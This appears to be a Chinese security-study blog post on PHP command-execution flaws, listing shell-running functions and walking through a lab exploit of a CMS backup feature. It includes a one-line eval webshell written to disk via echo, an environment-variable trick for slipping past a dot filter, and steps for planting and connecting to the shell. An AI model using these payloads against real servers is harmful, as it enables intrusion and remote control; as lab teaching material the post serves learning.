MENU

安全学习-23-命令执行

December 15, 2021 • 网络安全

[TOC]

命令执行

命令执行漏洞原理

用户输入的数据被当做系统命令进行执行!

代码执行:用户输入的数据被当作后端代码执行;

命令执行:用户输入的数据被当作系统命令执行。

代码执行与命令执行之间可以通过一定方式互相生成!

一句话木马的本质就是一个命令执行漏洞。用户输入的数据被当作系统命令进行执行。

<?php system('whoami')?>

造成命令执行函数解析

1、system()

system('whoami')php会操纵计算机执行whoami命令、且输出并返回结果。

注意:目标及其是Linux执行的就是Bash命令,如果是windows执行的就是cmd命令。

写WebShell,可以通过命令执行 echo '木马' 重定向生成一个 php文件。

echo "<?php @eval($_REQUEST[9]);?>" > 1.php

在Windwos中,生成的文件中也会带有引号,但是并不会影响php代码的执行!

PHP是一个混合体,它可以把HTML+PHP
标识:<?php ?>


2、echo exec('whoami')

php 会去操纵服务器执行whoami名,且获取最后一行数据!


3、echo shell_exec('whoami')

php 会去操纵服务器执行whoami命令,且获取所有数据!


4、passthru('whoami')

只调用命令,把命令的运行结果原样地直接输出到标准输出设备!


5、特殊符号,反引号`

echo `whoami`

反引号其实就是调用的shell_exec()函数!


6、popen(要执行的命令,参数)

// r是只读,w是写入
$a = popen('whoami','r');
echo fread($a,1024)

这个执行的返回值比较特殊,返回的是一个为了将指针,需要用fread去读取返回值。

返回值并不重要,核心是确定代码已经执行!

靶场实战

本地自建CMS测试

1.安装

1

2


2.php代码Zend解密

由于大量代码使用Zend加密,导致无法阅读无法审计,首先解密!

http://dezend.qiling.org/free/ 在线解密

3

4


3.代码审计

5

6

第一个restore.php,看这样子应该是个备份还原的,右边文件名恢复到数据库!

shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);

第二个Database.php则是一个备份数据库的命令!

shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" \"{$db["dbname"]}\" $tablesstr > $dumpFile");

4.从第二个备份入手

14

15

filename传参有替换 /,\,.,'

16


17

由于点被过滤掉了,怎么样才能不被过滤,而又能输出.呢,可以使用这样的方式!!!

%a:~0,6%  //取出环境变量的a值,从第0个位置开始,取6个值(切割环境变量) 图片是截取了过滤的点

5.修改数据包

18


6.木马文件生成

19

20


7.连接测试

21


线上靶场

1.靶场地址

http://59.63.200.79:9808/?r=dashboard/default/index

2.抓取数据包写木马

22

23


3.连接菜刀

24